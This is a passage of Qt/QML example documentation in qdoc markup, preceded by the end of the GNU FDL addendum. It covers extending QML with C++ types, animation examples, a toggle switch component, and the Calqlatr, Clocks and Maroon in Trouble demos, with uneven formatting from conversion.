The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.

#### ADDENDUM: How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (C) YEAR YOUR NAME.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.

A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with ... Texts." line with this:

with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.

If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

\example referenceexamples/adding

\title Extending QML - Adding Types Example

\brief Exporting C++ Classes

\ingroup qml extending examples

The Adding Types Example shows how to add a new object type, \c Person, to QML.

The \c Person type can be used from QML like this:

\snippet referenceexamples/adding/example.qml 0

\section1 Declare the Person Class

All QML types map to C++ types. Here we declare a basic C++ Person class with the two properties we want accessible on the QML type - name and shoeSize.

Although in this example we use the same name for the C++ class as the QML type, the C++ class can be named differently, or appear in a namespace.

\snippet referenceexamples/adding/person.h 0

\section1 Define the Person Class

\snippet referenceexamples/adding/person.cpp 0

The Person class implementation is quite basic. The property accessors simply return members of the object instance.

The \c main.cpp file also calls the \c qmlRegisterType() function to

register the `\c Person` type with QML as a type in the People library version 1.0, and defines the mapping between the C++ and QML class names.

## `\section1 Running the Example`

The `main.cpp` file in the example includes a simple shell application that loads and runs the QML snippet shown at the beginning of this page.

```
*/
```

```
/*!
```

```
\example referenceexamples/properties
```

```
\title Extending QML - Object and List Property Types Example
```

```
\brief Exporting C++ Properties
```

```
\ingroup qmlextendingexamples
```

This example builds on:

```
\list
```

```
\li \l {Extending QML - Adding Types Example}
```

```
\endlist
```

The Object and List Property Types example shows how to add object and list properties in QML. This example adds a `BirthdayParty` type that specifies a birthday party, consisting of a celebrant and a list of guests. People are specified using the `People` QML type built in the previous example.

\snippet referenceexamples/properties/example.qml 0

## \section1 Declare the BirthdayParty

The BirthdayParty class is declared like this:

\snippet referenceexamples/properties/birthdayparty.h 0

\snippet referenceexamples/properties/birthdayparty.h 1

\snippet referenceexamples/properties/birthdayparty.h 2

\snippet referenceexamples/properties/birthdayparty.h 3

The class contains a member to store the celebrant object, and also a `QList<Person *>` member.

In QML, the type of a list properties - and the guests property is a list of people - are all of type `QQmlListProperty<T>`. `QQmlListProperty` is simple value type that contains a set of function pointers. QML calls these function pointers whenever it needs to read from, write to or otherwise interact with the list. In addition to concrete lists like the people list used in this example, the use of `QQmlListProperty` allows for "virtual lists" and other advanced scenarios.

## \section2 Define the BirthdayParty

The implementation of BirthdayParty property accessors is straight forward.

\snippet referenceexamples/properties/birthdayparty.cpp 0

## \section1 Running the Example

The main.cpp file in the example includes a simple shell application that loads and runs the QML snippet shown at the beginning of this page.

\*/

/\*!

\example referenceexamples/coercion

\title Extending QML - Inheritance and Coercion Example

\brief C++ Inheritance and Coercion

\ingroup qmlextendingexamples

This example builds on:

\list

\li \l {Extending QML - Object and List Property Types Example}

\li \l {Extending QML - Adding Types Example}

\endlist

The Inheritance and Coercion Example shows how to use base classes to assign types of more than one type to a property. It specializes the Person type developed in the previous examples into two types - a \c Boy and a \c Girl.

\snippet referenceexamples/coercion/example.qml 0

\section1 Declare Boy and Girl

\snippet referenceexamples/coercion/person.h 0

The Person class remains unaltered in this example and the Boy and Girl C++ classes are trivial extensions of it. As an example, the inheritance used here is a little contrived, but in real applications it is likely that the two extensions would add additional properties or modify the Person classes behavior.

\section2 Define People as a base class

The implementation of the People class itself has not changed since the previous example. However, as we have repurposed the People class as a common base for Boy and Girl, we want to prevent it from being instantiated from QML directly - an explicit Boy or Girl should be instantiated instead.

\snippet referenceexamples/coercion/main.cpp 0

While we want to disallow instantiating Person from within QML, it still needs to be registered with the QML engine, so that it can be used as a property type and other types can be coerced to it.

## `\section2 Define Boy and Girl`

The implementation of Boy and Girl are trivial.

`\snippet referenceexamples/coercion/person.cpp 1`

All that is necessary is to implement the constructor, and to register the types and their QML name with the QML engine.

## `\section1 Running the Example`

The BirthdayParty type has not changed since the previous example. The celebrant and guests property still use the People type.

`\snippet referenceexamples/coercion/birthdayparty.h 0`

However, as all three types, Person, Boy and Girl, have been registered with the QML system, on assignment QML automatically (and type-safely) converts the Boy and Girl objects into a Person.

The main.cpp file in the example includes a simple shell application that loads and runs the QML snippet shown at the beginning of this page.

`*/`

`/*!`

\example referenceexamples/default

\title Extending QML - Default Property Example

\brief Default Property

\ingroup qmlextendingexamples

This example builds on:

\list

\li \l {Extending QML - Inheritance and Coercion Example}

\li \l {Extending QML - Object and List Property Types Example}

\li \l {Extending QML - Adding Types Example}

\endlist

The Default Property Example is a minor modification of the

\l {Extending QML - Inheritance and Coercion Example} that simplifies the specification of a BirthdayParty through the use of a default property.

\snippet referenceexamples/default/example.qml 0

\section1 Declaring the BirthdayParty Class

The only difference between this example and the last, is the addition of the

\c DefaultProperty class info annotation.

\snippet referenceexamples/default/birthdayparty.h 0

The default property specifies the property to assign to whenever an explicit property is not specified, in the case of the BirthdayParty type the guest property. It is purely a syntactic simplification, the behavior is identical to specifying the property by name, but it can add a more natural feel in many situations. The default property must be either an object or list property.

## `\section1 Running the Example`

The main.cpp file in the example includes a simple shell application that loads and runs the QML snippet shown at the beginning of this page.

\title Qt Quick Examples - Animation

\example animation

\brief This is a collection of QML Animation examples.

\image qml-animations-example.png

\ingroup qtquickexamples

\e Animation is a collection of small QML examples relating to animation.

Each example is a small QML file emphasizing a particular type or feature.

For more information about animations, visit

\{|Important Concepts in Qt Quick - States, Transitions and Animations}.

\include examples-run.qdocinc

\section1 ColorAnimation

\e ColorAnimation uses color animations to fade a sky from day to night.

\snippet animation/basics/color-animation.qml 0

## \section1 PropertyAnimation

\e PropertyAnimation uses number animations to bounce a circle up and down.

\snippet animation/basics/property-animation.qml 0

## \section1 Animators

\e Animators uses animators to bounce an icon up and down.

\snippet animation/basics/animators.qml 0

## \section1 Behaviors

\e Behaviors uses behaviors to move a rectangle to where you click.

\snippet animation/behaviors/behavior-example.qml 0

## \section1 Wiggly Text

\e{Wiggly Text} demonstrates using more complex behaviors to animate and wiggle some text around as you drag it. It does this by assigning a complex binding to each letter:

\snippet animation/behaviors/wigglytext.qml 0

Then, it uses behaviors to animate the movement of each letter:

\snippet animation/behaviors/wigglytext.qml 1

## \section1 Tv Tennis

\e{Tv Tennis} uses complex behaviors to make the paddles follow a ball to simulate an infinite tennis game. Again, a binding which depends on other values is applied to the position and a behavior provided the animation.

\snippet animation/behaviors/tvtennis.qml 0

## \section1 Easing Curves

\e{Easing Curves} shows off all the easing curves available in Qt Quick animations.

## \section1 States

\e States demonstrates how the properties of an item can vary between \l{Qt Quick States}{states}.

It defines several states:

\snippet animation/states/states.qml 0

## \section1 Transitions

\e Transitions takes the States example and animates the property changes

by setting transitions:

\snippet animation/states/transitions.qml 0

\section1 PathAnimation

\e PathAnimation animates an image along a bezier curve using a

\l PathAnimation.

\snippet animation/pathanimation/pathanimation.qml 0

\section1 PathInterpolator

\e PathInterpolator animates an image along the same bezier curve, using a

\l PathInterpolator instead.

\snippet animation/pathinterpolator/pathinterpolator.qml 0

\page qmlexampletoggleswitch.html tutorial

\title Qt Quick Examples - Toggle Switch

\brief A reusable switch component made in QML

\ingroup qtquickexamples

This example shows how to create a reusable switch component in QML.

The code for this example can be found in the \c examples/quick/customitems/slideswitch directory.

The objects that compose the switch are:

\list

\li a \c on property (the interface to interact with the switch),

\li two images (the background image and the knob),

\li two mouse regions for user interaction (on the background image and on the knob),

\li two states (an \e on state and an \e off state),

\li two functions or slots to react to the user interaction (\c toggle() and \c dorelease()),

\li and a transition that describe how to go from one state to the other.

\endlist

\section1 Switch.qml

\snippet customitems/slideswitch/content/Switch.qml 0

\section1 Walkthrough

\section2 Interface

\snippet customitems/slideswitch/content/Switch.qml 1

This property is the interface of the switch. By default, the switch is off and this property is \c false.

It can be used to activate/deactivate the switch or to query its current state.

In this example:

\qml

Item {

```

Switch {
    id: mySwitch
    on: true
}
Text {
    text: "The switch is on"
    visible: mySwitch.on == true
}
}
\endqml

```

the text will only be visible when the switch is on.

## \section2 Images and user interaction

\snippet customitems/slideswitch/content/Switch.qml 4

First, we create the background image of the switch.

In order for the switch to toggle when the user clicks on the background, we add a `\l{MouseArea}` as a child item of the image.

A `\c MouseArea` has a `\c onClicked` property that is triggered when the item is clicked. For the moment we will just call a

`\c toggle()` function. We will see what this function does in a moment.

\snippet customitems/slideswitch/content/Switch.qml 5

Then, we place the image of the knob on top of the background.

The interaction here is a little more complex. We want the knob to move with the finger when it is clicked. That is what the `drag`

property of the `MouseArea` is for. We also want to toggle the switch if the knob is released between state. We handle this case

in the `doRelease()` function that is called in the `onReleased` property.

## States

`customitems/slideswitch/content/Switch.qml` 6

We define the two states of the switch:

`list`

`li` In the `on` state the knob is on the right (`x` position is 78) and the `on` property is `true`.

`li` In the `off` state the knob is on the left (`x` position is 1) and the `on` property is `false`.

`endlist`

For more information on states see [Qt Quick States](#).

## Functions

We add two JavaScript functions to our switch:

`customitems/slideswitch/content/Switch.qml` 2

This first function is called when the background image or the knob are clicked. We simply want the switch to toggle between the two

states (`on` and `off`).

\snippet customitems/slideswitch/content/Switch.qml 3

This second function is called when the knob is released and we want to make sure that the knob does not end up between states

(neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing.

For more information on scripts see \{JavaScript Expressions in QML Documents}.

## \section2 Transition

\snippet customitems/slideswitch/content/Switch.qml 7

At this point, when the switch toggles between the two states the knob will instantly change its \c x position between 1 and 78.

In order for the knob to move smoothly we add a transition that will animate the \c x property with an easing curve for a duration of 200ms.

For more information on transitions see \{Animation and Transitions in Qt Quick}.

## \section1 Usage

The switch can be used in a QML file, like this:

\snippet customitems/slideswitch/slideswitch.qml 0

\title Qt Quick Demo - Calqlatr

\ingroup qtquickdemos

\example demos/calqlatr

\brief A QML app designed for portrait devices that uses custom components,  
animated with AnimationController, and JavaScript for the application logic.

\image qtquick-demo-calqlatr.png

\e{Calqlatr} demonstrates various QML and \l{Qt Quick} features, such as  
displaying custom components and using animation to move the components

around in the application view. The application logic is implemented in JavaScript and the appearance is implemented in QML.

```
\include examples-run.qdocinc
```

## \section1 Displaying Custom Components

In the Calqlatr application, we use the following custom types that are each defined in a separate .qml file:

```
\list
```

```
\li Button.qml
```

```
\li Display.qml
```

```
\li NumberPad.qml
```

```
\endlist
```

To use the custom types, we add an import statement to the main QML file, calqlatr.qml that imports the folder called \c content where the types are located:

```
\code
```

```
import "content"
```

```
\endcode
```

We can then display custom components by adding the component types to

any QML file. For example, we use the `NumberPad` type in `calqlatr.qml` to create the number pad of the calculator. We place the type inside an `Item` QML type, which is the base type for all visual items in Qt Quick:

```
\quote fromfile demos/calqlatr/calqlatr.qml
```

```
\skipto Item
```

```
\printuntil }
```

```
\printuntil }
```

Further, we use the `Button` type in the `NumberPad` type to create the calculator buttons. `Button.qml` specifies the basic properties for a button that we can modify for each button instance in `NumberPad.qml`. For the digit and separator buttons, we additionally specify the `text` property using the property alias `text` that we define in `Button.qml`.

For the operator buttons, we also specify another color (green) using the property alias `color` and set the `operator` property to `true`. We use the `operator` property in functions that perform the calculations.

We place the buttons inside a `Grid` QML type to position them in a grid:

```
\quote fromfile demos/calqlatr/content/NumberPad.qml
```

```
\skipto Grid
```

```
\printuntil /\}/
```

Some of the buttons also have a `dimmed` property set, meaning that they can be visually disabled (dimmed) whenever the calculator engine does not accept input from that button. As an example, the button for square root operator is dimmed for negative values.

## `\section1 Animating Components`

We use the `Display` type to display calculations. In `Display.qml`, we use images to make the display component look like a slip of paper that contains a grip. Users can drag the grip to move the display from left to right.

When users release the grip, the `AnimationController` QML type that we define in the `calqlatr.qml` file finishes running the controlled animation in either a forwards or a backwards direction. To run the animation, we call either `completeToEnd()` or `completeToBeginning()`, depending on the direction. We do this in the `MouseArea`'s `onReleased` signal handler, where `controller` is the id of our `AnimationController`:

```
\quotefromfile demos/calqlatr/calqlatr.qml
```

```
\skipto MouseArea
```

```
\printuntil {
```

```
\dots 12
```

```
\skipto onReleased
```

```
\printuntil }
```

```
\printuntil }
```

Unlike other QML animation types, `AnimationController` is not driven by internal timers but by explicitly setting its `progress` property to a value between `0.0` and `1.0`.

Inside the `AnimationController`, we run two `NumberAnimation` instances in parallel to move the number pad and the display components simultaneously to the opposite sides of the view. In addition, we run a `SequentialAnimation` instance to scale the number pad during the transition, giving the animation some depth.

```
\quote fromfile demos/calqlatr/calqlatr.qml
```

```
\skipto AnimationController
```

```
\printuntil 1; easing.type
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

We use the easing curve of the type `Easing.InOutQuad` to accelerate the motion until halfway and then decelerate it.

In `Button.qml`, the text colors of the number pad buttons are also animated.

```
\quote fromfile demos/calqlatr/content/Button.qml
```

```
\skipto Text
```

```
\printuntil id:
```

```
\dots 8
```

```
\skipto color:
```

```
\printuntil ]
```

```
\printuntil }
```

We use `\l {QtQml::Qt::darker()}{Qt.darker()}` to darken the color when the button is dimmed, and `\l {QtQml::Qt::lighter()}{Qt.lighter()}` to `\e {light up}` the button when pressed. The latter is done in a separate `\l [QML] {State} {state}` called `\e "pressed"`, which activates when the `\c pressed` property of the button's `MouseArea` is set.

The color changes are animated by defining a `\l Behavior` on the `\c color` property.

In order to dynamically change the `\c dimmed` property of all the buttons of the `\c NumberPad`, we connect its `\c buttonPressed` signal to the `\c Button's \c updateDimmed()` function in `Button.qml`:

```
\quotefromfile demos/calqlatr/content/Button.qml
```

```
\skipto function updateDimmed() {
```

```
\printuntil buttonPressed.connect
```

```
\printuntil }
```

This way, when a button is pressed, all buttons on the `\c NumPad`

receive a `\c buttonPressed` signal and are activated or deactivated according to the state of the calculator engine.

## `\section1 Performing Calculations`

The `calculator.js` file defines our calculator engine. It contains variables to store the calculator state, and functions that are called when the user presses the digit and operator buttons. To use the engine, we import `calculator.js` in the `calqlatr.qml` file as `\c CalcEngine`:

`\code`

```
import "content/calculator.js" as CalcEngine
```

`\endcode`

Importing the engine creates a new instance of it. Therefore, we only do it in the main QML file, `\c calqlatr.qml`. The root item defined in this file contains helper functions that allow other types to access the calculator engine:

```
\quotefromfile demos/calqlatr/calqlatr.qml
```

```
\skipto operatorPressed
```

```
\printuntil CalcEngine.disabled
```

```
\printuntil }
```

When users press a digit, the text from the digit appears on the

display. When they press an operator, the appropriate calculation is performed, and the result can be displayed using the equals (=) operator. The clear (C) operator resets the calculator engine.

\title Qt Quick Demo - Clocks

\ingroup qtquickdemos

\example demos/clocks

\brief A QML clock application that demonstrates using a ListView type to display data generated by a ListModel and a SpringAnimation type to animate images.

\image qtquick-demo-clocks-small.png

\e Clocks demonstrates using a ListView type to display data generated by a ListModel. The delegate used by the model is specified as a custom QML type that is specified in the Clock.qml file.

JavaScript methods are used to fetch the current time in several cities in

different time zones and QML types are used to display the time on a clock face with animated clock hands.

```
\include examples-run.qdocinc
```

## \section1 Displaying Data Generated by List Models

In the clocks.qml file, we use a `Rectangle` type to create the application main window:

```
\quotefromfile demos/clocks/clocks.qml
```

```
\skipto Rectangle
```

```
\printuntil color
```

We use a `ListView` type to display a list of the items provided by a `ListModel` type:

```
\printuntil Los Angeles
```

```
\printuntil }
```

```
\printuntil }
```

List elements are defined like other QML types except that they contain a collection of `role` definitions instead of properties. Roles both define how the data is accessed and include the data itself.

For each list element, we use the `\c cityName` role to specify the name of a city and the `\c timeShift` role to specify a time zone as a positive or negative offset from UTC (coordinated universal time).

The `Clock` custom type is used as the `ListView`'s `\c delegate`, defining the visual appearance of list items. To use the `Clock` type, we add an import statement that imports the folder called `\c content` where the type is located:

```
\quote fromfile demos/clocks/clocks.qml  
\skipto content  
\printuntil "
```

We use an `\l Image` type to display arrows that indicate whether users can flick the view to see more clocks on the left or right:

```
\quote fromfile demos/clocks/clocks.qml  
\skipto Image  
\printuntil /\}/
```

We use the `\c opacity` property to hide the arrows when the list view is located at the beginning or end of the x axis.

In `Clock.qml`, we define a `\c timeChanged()` function in which we use methods from the JavaScript `\c Date` object to fetch the current time in

UTC and to adjust it to the correct time zone:

```
\quote from file demos/clocks/content/Clock.qml
```

```
\skipto timeChanged
```

```
\printuntil }
```

We use a `\l Timer` type to update the time at intervals of 100 milliseconds:

```
\printuntil }
```

We use `\l Image` types within an `\l Item` type to display the time on an analog clock face. Different images are used for daytime and nighttime hours:

```
\printuntil clock-night.png
```

A `\l Rotation` transform applied to `\l Image` types provides a way to rotate the clock hands. The `\c origin` property holds the point that stays fixed relative to the parent as the rest of the item rotates. The `\c angle` property determines the angle to rotate the hands in degrees clockwise.

```
\printuntil center.png
```

```
\printuntil }
```

We use a `\l Behavior` type on the `\c angle` property to apply a

SpringAnimation when the time changes. The \c spring and \c damping properties enable the spring-like motion of the clock hands, and a \c modulus of \c 360 makes the animation target values wrap around at a full circle.

We use a \l Text type to display the city name below the clock:

```
\printuntil }
```

```
\sa {QML Applications}
```

\title Qt Quick Demo - Maroon in Trouble

\ingroup qtquickdemos

\example demos/maroon

\brief A Qt Quick game for touch devices that uses SpriteSequence,

ParticleSystem, Emitter, and Wander types to animate objects and the SoundEffect type to

play sound effects.

\image qtquick-demo-maroon-med-2.png

\e{Maroon in Trouble} demonstrates QML features that are useful when

developing games:

\list

- \li Using custom QML types to create different screens for different stages of the game.
- \li Using the \l Item and \l Image types to construct a game background.
- \li Using the SequentialAnimation, NumberAnimation, ParticleSystem, \l Emitter, and \l Wander types to animate background objects.
- \li Using the \l Timer and \l Repeater types to display a countdown sequence before starting the game.
- \li Using a custom QML type with custom properties to construct a game board.
- \li Using the SpriteSequence and \l Sprite types to add animated objects to the game board.
- \li Using a custom QML type that uses the \l Image type with some custom properties to add a menu where the players can buy objects.
- \li Using custom properties with private functions to keep track of game statistics and a custom QML type to display them to the players.
- \li Using the \l State type with JavaScript functions to manage game states.
- \li Using the \l SoundEffect type to play individual sound effects depending on the object type and the action applied to the object.
- \li Using signal handlers to specify keyboard shortcuts for some game actions.
- \li Using resource files to package game resources for deployment and

delivery.

\endlist

\include examples-run.qdocinc

\section1 Adding Screens

In the Maroon in Trouble app, we use the following custom types that are each defined in a separate .qml file to create the game screens:

\list

- \li NewGameScreen.qml

- \li GameCanvas.qml

- \li GameOverScreen.qml

\endlist

To use the custom types, we add an import statement to the main QML file, maroon.qml that imports the folder called \c content where the types are located:

```
\quotefromfile demos/maroon/maroon.qml
```

```
\skipto content
```

```
\printuntil "
```

We use the screen types at different stages of the game. The NewGameScreen

type is used to create the screen that appears when the players start the app. In `NewGameScreen.qml`, we use an `\{Image}` type to create a New Game button that the players can press to start a new game.

`\image qtquick-demo-maroon-med-1.png`

Tapping the button initiates a countdown timer that triggers the creation of the game canvas by using the `GameCanvas` type. Another `\{Timer}` type spawns mobs of fish inside bubbles that the players must free before they reach the surface. The players can tap on the screen to open a menu where they can buy different types of weapons (melee, ranged, and bombs) to burst the bubbles.

`\image qtquick-demo-maroon-med-2.png`

When the game finishes, a screen created by using the `GameOverScreen` type appears. On this screen, the players can see their score and start a new game.

`\image qtquick-demo-maroon-med-3.jpg`

The screens are all created on the same background and use some of the same images and animations.

`\section1 Constructing the Background`

In the maroon.qml file, we use an `\{Item}` type with the id `\c root` and a fixed width and height to create a main window for the game:

```
\skipto Item
```

```
\printuntil passedSplash
```

We declare two custom properties for the root item, `\c gameState` and `\c passedSplash` that we will use later to manage game states.

We use an `\{Image}` item to display the game background image:

```
\printuntil anchors.bottom
```

We want to be able to load the background image only once at app startup and still use different scenes for the game screens. Therefore, `background.png` is three times the length of the root item and displays a scene that stretches from the bottom of sea to the sky above the horizon.

We use the `\c anchors.bottom` property to anchor the background image to the bottom of the `\{Column}` layout that we use to position the screens:

```
\skipto Column
```

```
\printuntil GameOverScreen
```

We set a negative value for the `\c y` property to set the first scene at the bottom of the sea. We calculate the position by subtracting the height of a screen from the `\c height` property.

Within the column layout, we use an `\l{Item}` type to add objects to the background. Within the item, we use `\l{Row}` layout objects to position `\l{Image}` objects that display waves on the game canvas and the game over screen:

```
\printuntil }
```

```
\printuntil }
```

```
\dots
```

```
\skipto Row
```

```
\printuntil }
```

```
\printuntil }
```

The second row of waves is positioned on the `y` axis with a slight offset to the first row. We also use the `\c opacity` property to make the waves appear lighter in color than the first two waves, which gives the background some depth.

We use `\l{Image}` objects to also display sunlight on the new game screen and on the game canvas:

```
\skipto Image
```

`\printuntil anchors`

`\dots`

`\skipto Image`

`\printuntil anchors`

We set the `\c opacity` property of the images to `\c 0.02` and `\c 0.04` to give some depth to the rays of sunshine. We use the `\c y` property to position the images at fixed locations on the y axis and the `\c {anchors.horizontalCenter}` property to center them horizontally in relation to their parent.

We use an `\l {Image}` type to display an image that adds a deepening shadow to the background:

`\skipto Image`

`\printuntil }`

We set the `\c opacity` property of the image to `\c 0.5` to make the background visible behind the shadow.

To make the background more interesting, we animate some of the objects we added to it.

`\section1 Animating Background Objects`

We use NumberAnimation to move the waves horizontally across the screen in opposite directions and SequentialAnimation with NumberAnimation to move them up and down.

We apply the number animation to the `\c x` property of `\c wave` as a property value source to animate the x value from its current value to the `\c -(wave.width)`, over 16 seconds. We set the `\c loops` property to `\c {Animation.Infinite}` to repeat the animation indefinitely:

```
\quote from file demos/maroon/maroon.qml  
\skipto wave.width  
\printuntil }
```

We apply the sequential animation to the `\c y` property of the image as a property value source to animate the y value. We use one number animation to animate the image from the y position of two below the value of y to two above it, over 1600 milliseconds. We use another number animation to subsequently animate the image in the opposite direction, again over 1600 milliseconds. The animation is repeated indefinitely:

```
\skipto SequentialAnimation  
\printuntil }  
\printuntil }  
\printuntil }
```

We use the easing curve of the type `\c {Easing.InOutQuad}` for a quintic ( $t^5$ ) function to accelerate the motion until halfway and then decelerate it.

We use sequential animation and number animation to animate `\c wave2` similarly to `\c wave`, but in the opposite direction:

```
\skipto SequentialAnimation
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

We use sequential animation to rotate the rays of sunlight in degrees clockwise around an origin point that we set to `\c {Item.Top}` in the `\c transformOrigin` property. The animation is repeated indefinitely:

```
\skipto transformOrigin
```

```
\printuntil to: -10
```

```
\printuntil }
```

We use one number animation to rotate the image from `\c -10` degrees to `\c 10` degrees over 8 seconds and another to subsequently rotate it from `\c 10` degrees to `\c -10` degrees over the same duration.

We use the easing curve of the type `\c {Easing.InOutSine}` for a sinusoidal

( $\sin(t)$ ) function to accelerate the motion until halfway and then decelerate it.

We use sequential animation and number animation to animate another `sunlight.png` image similarly, but in the opposite direction:

```
\skipto transformOrigin
\printuntil to: 10
\printuntil }
```

For examples of using `SequentialAnimation` and `NumberAnimation` on the `\c x` and `\c y` properties and the `\c width` and `\c height` properties, see `NewGameScreen.qml`.

## `\section1 Emitting Particles`

In addition to animation, we use particles to generate motion on the game screens. We use the `ParticleSystem` QML type in `maroon.qml` to make bubbles appear at the bottom of the new game screen and game canvas and slowly float towards the top on varying trajectories.

To use the `ParticleSystem` type, we must import `\l{Qt Quick Particles}`:

```
\quotefromfile demos/maroon/maroon.qml
\skipto Particles
```

```
\printuntil 0
```

To have the particles appear on the game background, we place the `ParticleSystem` type within the `\{Image}` type that displays the game background:

```
\skipto Image
```

```
\printuntil anchors.fill
```

In the `ParticleSystem`, we use an `\{Emitter}` type to emit particles from the location of the emitter at the rate of two per second with the life span of 15 seconds:

```
\skipto Emitter
```

```
\printuntil sizeVariation
```

```
\printuntil }
```

The `\c acceleration` property uses the `PointDirection` type to specify random variation of the x and y coordinates, so that the bubbles appear inside a rectangular area around the emitter that is anchored to the bottom of the image.

The `\c size` property sets the base size of the particles at the beginning of their life to 24 pixels and the `\c sizeVariation` property randomly increases or decreases the particle size by up to 16 pixels, so that we get bubbles in

different sizes.

As emitters have no visualization, we use the `ImageParticle` type to render the `catch.png` image at the particle location:

```
\quote from file demos/maroon/maroon.qml
```

```
\skipto ImageParticle
```

```
\printuntil }
```

A `\{Wander}` type applies a random trajectory to the particles, so that the bubbles follow random routes from the bottom to the top.

```
\printuntil }
```

For another example of using the `ParticleSystem` type, see the `GameOverScreen.qml` file, where an `ImageParticle` type is used to make clouds move across the sky.

```
\section1 Using Timers
```

```
\image qtquick-demo-maroon-med-4.jpg
```

In `maroon.qml`, we use the `\{Timer}` type with a `\{Repeater}` type to display a countdown sequence before using another timer to start a new game. Both timers are started simultaneously in the `\c "gameOn"` state, that is when the

players tap the New Game button and `\c passedSplash` is `\c true`. This is explained in more detail in `\{Managing Game States}`.

We use the `\c countdownTimer` to display the countdown sequence:

```
\skipto Timer
```

```
\printuntil }
```

The `\c onTriggered` signal handler is called when the timer is triggered to increment the value of the `\c countdown` custom property.

We set the `\c repeat` property to `\c true` to specify that the timer is triggered at the interval of 1 second as long as the value of `\c countdown` is less than 5.

The `\c countdown` property is defined in the root item with an initial value of `\c 10`, so that `\c countdownTimer` is not running by default:

```
\skipto countdown:
```

```
\printuntil 10
```

Each time the timer is triggered, an image from the countdown sequence is displayed. We use a `\{Repeater}` type to instantiate the `\{Image}` delegate in the context of the repeater's parent, `\c canvasArea` item, seeded with data from the `\c model`:

```
\quote from file demos/maroon/maroon.qml
```

```
\skipto Repeater
```

```
\printuntil scale
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

We scale the images from `\c 0.0` to `\c 1.0` and use the `\c visible` property to hide the images for the previous steps as the countdown progresses. We also raise the opacity of the image that matches the current countdown step, keeping the others nearly transparent.

By animating the changes in the `\c opacity` and `\c scale` properties using a `\I Behavior` type, we achieve a countdown sequence where numbers zoom in towards the players.

## `\section1 Constructing the Game Board`

To construct the game board, we use the `GameCanvas` custom type that is defined in `GameCanvas.qml`.

In `maroon.qml`, we use the `GameCanvas` type to display the game canvas at the position of 32 on the x axis and 20 pixels from the bottom of

its parent item, \c canvasArea:

```
\quotefromfile demos/maroon/maroon.qml
```

```
\skipto GameCanvas
```

```
\printuntil }
```

We set the \c focus property to \c true to give \c canvas active focus on startup.

In GameCanvas.qml, we use an \I Item type and define custom properties for it to create a grid of equally sized squares divided to 4 columns on 6 rows:

```
\quotefromfile demos/maroon/content/GameCanvas.qml
```

```
\skipto Item
```

```
\printuntil canvas
```

We use the custom properties to set the \c width and \c height of the \c grid item as the amount of columns and rows multiplied by square size:

```
\skipto width
```

```
\printuntil height
```

We use an \I{Image} type with a MouseArea type to display a help button that the players can tap to view an image that contains instructions for playing the game:

```
\skipuntil endGame
```

```
\skipto Image
```

```
\printuntil bottomMargin
```

```
\printuntil }
```

We declare the `\c goAway()` private function to disable the mouse area and make the image fully transparent and a `\c comeBack()` function to enable the mouse area and make the button fully opaque. We use a `\I {Behavior}` type on the `\c opacity` property to apply the default number animation when the value of `\c opacity` changes.

When the players tap the help button, the `\c onClicked` signal handler is called to hide the help button by setting the `\c {helpButton.visible}` property to `\c false` and to show the help image by setting the `\c {helpImage.visible}` property to `\c false`.

```
\image qtquick-demo-maroon-med-6.jpg
```

We use anchoring to position the help button at the bottom center of the game canvas.

We use another `\I {Image}` type to display the help image:

```
\printuntil }
```

```
\printuntil }
```

To hide the help image when the players tap it, the `\c onClicked` signal handler within the `MouseArea` type is called to set the `\c{helpImage.visible}` property to `\c true`.

To ensure that the images are placed on top when they are visible, we set a high value for their `\c z` property.

The following sections describe how to use timers to add animated objects to the game board and how to create a menu dialog from which the players can add more objects to it.

## \section1 Animating Objects on the Game Board

We use sprite animation to animate objects on the game board. The Qt Quick `\l{Sprite Animations}{sprite engine}` is a stochastic state machine combined with the ability to chop up images containing multiple frames of an animation.

## \section2 Spawning Fish

We use a `\l{Timer}` element with the `\c tick()` function in `GameCanvas.qml` to spawn mobs of fish in waves at an increasing rate, starting at 16 milliseconds:

```
\quote from file demos/maroon/content/GameCanvas.qml
```

```
\skipto Timer
```

```
\printuntil }
```

We use the MobBase custom type that is defined in MobBase.qml to animate mobs of fish that swim inside bubbles. We use an `\{Item}` type with custom properties and private functions to create the fish and the bubbles and to define the actions that can be applied to them:

```
\quote from file demos/maroon/content/mobs/MobBase.qml
```

```
\skipto Item
```

```
\printuntil }
```

```
\dots
```

We use a SpriteSequence type to animate the fish:

```
\skipto SpriteSequence
```

```
\printuntil goalSprite
```

The SpriteSequence type renders and controls a list of animations defined by `\{Sprite}` types:

```
\skipto Sprite {
```

```
\printuntil name: "right"
```

```
\printuntil }
```

```
\printuntil }
```

In the `\c fishSprite` sprite sequence, each sprite defines one frame within the `mob-idle.png` file, which shows a fish facing right, front, and left:

```
\image ../../content/gfx/mob-idle.png
```

We use the `\c frameWidth`, `\c frameHeight`, and `\c frameX` properties to determine that the first 64x64-pixel square of the image is framed in the `\c "left"` sprite, the second in the `\c "front"` sprite, and the third in the `\c "right"` sprite. For each sprite, the `\c frameCount` property is set to `\c 1` to specify that the sprite contains one frame.

We use the `\c frameDuration` and `\c frameDurationVariation` properties to specify that the duration of an animation can vary from `\c 400` to `\c 1200` milliseconds.

The `\c to` property specifies that the sprites have weighted transitions to other sprites. The `\c "left"` and `\c "right"` sprites always transfer to the `\c "front"` sprite. When the `\c "front"` animation finishes, the sprite engine chooses `\c "left"` or `\c "right"` randomly, but at roughly equal proportions, because they both have the weight `\c 1`.

When the fish are set free, we want them to swim away in the direction they

